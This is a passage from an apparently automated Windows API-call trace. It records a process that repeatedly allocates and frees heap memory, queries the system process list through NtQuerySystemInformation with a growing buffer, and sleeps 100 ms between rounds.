(HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.365] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3ef8 [0130.365] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0130.365] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ef8 [0130.365] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0130.365] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.365] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.365] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.365] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.365] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ef8 [0130.365] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0130.365] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ef8 [0130.365] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0130.365] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ef8 [0130.366] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0130.366] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.366] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.366] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3ef8 [0130.366] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ef8) returned 1 [0130.366] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.366] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.366] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6fd9d0) returned 1 [0130.366] Sleep (dwMilliseconds=0x64) [0130.515] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6ef880 [0130.515] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6ef880, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6ef880, ResultLength=0x0) returned 0xc0000004 [0130.515] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ef880, Size=0x2048) returned 0x6f64b0 [0130.515] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0130.516] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x306c) returned 0x6f64b0 [0130.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0130.516] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x4090) returned 0x6fd9d0 [0130.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6fd9d0, ResultLength=0x0) returned 0xc0000004 [0130.516] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9d0, Size=0x50b4) returned 0x6fd9d0 [0130.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6fd9d0, ResultLength=0x0) returned 0xc0000004 [0130.516] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9d0, Size=0x60d8) returned 0x6fd9d0 [0130.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6fd9d0, ResultLength=0x0) returned 0xc0000004 [0130.516] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9d0, Size=0x70fc) returned 0x6fd9d0 [0130.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6fd9d0, ResultLength=0x0) returned 0xc0000004 [0130.516] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9d0, Size=0x8120) returned 0x6fd9d0 [0130.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x6fd9d0, ResultLength=0x0) returned 0xc0000004 [0130.516] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9d0, Size=0x9144) returned 0x6fd9d0 [0130.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x6fd9d0, ResultLength=0x0) returned 0x0 [0130.517] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8978 [0130.517] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8978) returned 1 [0130.517] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xe) returned 0x6ea5a8 [0130.517] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea5a8) returned 1 [0130.517] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e69b0 [0130.517] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.517] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e69b0 [0130.517] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.517] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.517] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.517] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e69b0 [0130.517] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.517] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3d18 [0130.517] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3d18) returned 1 [0130.517] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3d18 [0130.517] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3d18) returned 1 [0130.517] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e69b0 [0130.517] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.518] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6ea5a8 [0130.518] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea5a8) returned 1 [0130.518] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.518] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.518] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.518] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.518] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.518] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.518] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.518] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.518] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.518] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.518] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.518] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.518] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.518] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.518] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3d18 [0130.518] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3d18) returned 1 [0130.518] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3d18 [0130.518] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3d18) returned 1 [0130.518] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6ea5a8 [0130.518] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea5a8) returned 1 [0130.518] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.518] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.519] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.519] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.519] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3d18 [0130.519] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3d18) returned 1 [0130.519] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3d18 [0130.519] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3d18) returned 1 [0130.519] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.519] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.519] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.519] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.519] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3d18 [0130.519] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3d18) returned 1 [0130.519] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3d18 [0130.519] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3d18) returned 1 [0130.519] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6fd9d0) returned 1 [0130.519] Sleep (dwMilliseconds=0x64) [0130.637] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6ef880 [0130.637] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6ef880, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6ef880, ResultLength=0x0) returned 0xc0000004 [0130.637] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6ef880, Size=0x2048) returned 0x6f64b0 [0130.637] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0130.637] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x306c) returned 0x6f64b0 [0130.638] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0130.638] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x4090) returned 0x6fd9d0 [0130.638] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x6fd9d0, ResultLength=0x0) returned 0xc0000004 [0130.638] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9d0, Size=0x50b4) returned 0x6fd9d0 [0130.638] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x6fd9d0, ResultLength=0x0) returned 0xc0000004 [0130.638] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9d0, Size=0x60d8) returned 0x6fd9d0 [0130.638] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x6fd9d0, ResultLength=0x0) returned 0xc0000004 [0130.638] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9d0, Size=0x70fc) returned 0x6fd9d0 [0130.638] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x6fd9d0, ResultLength=0x0) returned 0xc0000004 [0130.638] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9d0, Size=0x8120) returned 0x6fd9d0 [0130.638] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x6fd9d0, ResultLength=0x0) returned 0xc0000004 [0130.638] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9d0, Size=0x9144) returned 0x6fd9d0 [0130.638] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x6fd9d0, ResultLength=0x0) returned 0x0 [0130.639] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8978 [0130.639] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8978) returned 1 [0130.639] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xe) returned 0x6ea578 [0130.639] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea578) returned 1 [0130.639] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e69b0 [0130.639] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.639] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e69b0 [0130.639] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.639] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.639] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.639] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e69b0 [0130.639] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.639] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3fe8 [0130.639] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3fe8) returned 1 [0130.639] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3fe8 [0130.639] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3fe8) returned 1 [0130.639] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e69b0 [0130.639] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.639] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6ea578 [0130.639] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea578) returned 1 [0130.639] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.640] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.640] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.640] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.640] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.640] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.640] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.640] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3fe8 [0130.640] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3fe8) returned 1 [0130.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3fe8 [0130.640] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3fe8) returned 1 [0130.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6ea578 [0130.640] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea578) returned 1 [0130.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.640] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.640] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.640] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3fe8 [0130.641] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3fe8) returned 1 [0130.641] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3fe8 [0130.641] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3fe8) returned 1 [0130.641] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.641] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.641] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.641] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.641] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3fe8 [0130.641] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3fe8) returned 1 [0130.641] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f3fe8 [0130.641] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3fe8) returned 1 [0130.641] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6fd9d0) returned 1 [0130.641] Sleep (dwMilliseconds=0x64) [0130.756] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1024) returned 0x6fd9e8 [0130.757] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6fd9e8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x6fd9e8, ResultLength=0x0) returned 0xc0000004 [0130.757] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x6f64b0 [0130.757] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0130.758] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x306c) returned 0x6f64b0 [0130.758] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x6f64b0, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x6f64b0, ResultLength=0x0) returned 0xc0000004 [0130.758] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6f64b0, Size=0x4090) returned 0x71d9d0 [0130.758] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x71d9d0, ResultLength=0x0) returned 0xc0000004 [0130.758] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9d0, Size=0x50b4) returned 0x71d9d0 [0130.758] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x71d9d0, ResultLength=0x0) returned 0xc0000004 [0130.758] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9d0, Size=0x60d8) returned 0x71d9d0 [0130.758] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x71d9d0, ResultLength=0x0) returned 0xc0000004 [0130.758] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9d0, Size=0x70fc) returned 0x71d9d0 [0130.758] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x71d9d0, ResultLength=0x0) returned 0xc0000004 [0130.759] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9d0, Size=0x8120) returned 0x71d9d0 [0130.759] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9d0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x71d9d0, ResultLength=0x0) returned 0xc0000004 [0130.759] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9d0, Size=0x9144) returned 0x71d9d0 [0130.759] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9d0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x71d9d0, ResultLength=0x0) returned 0x0 [0130.759] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8998 [0130.759] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6d8998) returned 1 [0130.759] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0xe) returned 0x6ea578 [0130.759] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea578) returned 1 [0130.759] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e69b0 [0130.759] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.759] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e69b0 [0130.759] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.760] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.760] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.760] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e69b0 [0130.760] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.760] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f4038 [0130.760] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f4038) returned 1 [0130.760] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f4038 [0130.760] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f4038) returned 1 [0130.760] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x14) returned 0x6e69b0 [0130.760] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.760] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6ea578 [0130.760] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea578) returned 1 [0130.760] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.760] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.760] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.760] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.760] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.760] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.760] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.760] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.760] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.760] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.760] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.760] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.760] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.761] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e69b0) returned 1 [0130.761] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f4038 [0130.761] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f4038) returned 1 [0130.761] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f4038 [0130.761] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f4038) returned 1 [0130.761] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6ea578 [0130.761] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea578) returned 1 [0130.761] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x18) returned 0x6e69b0 [0130.761] RtlFreeHeap (HeapHandle=0x6b0000, 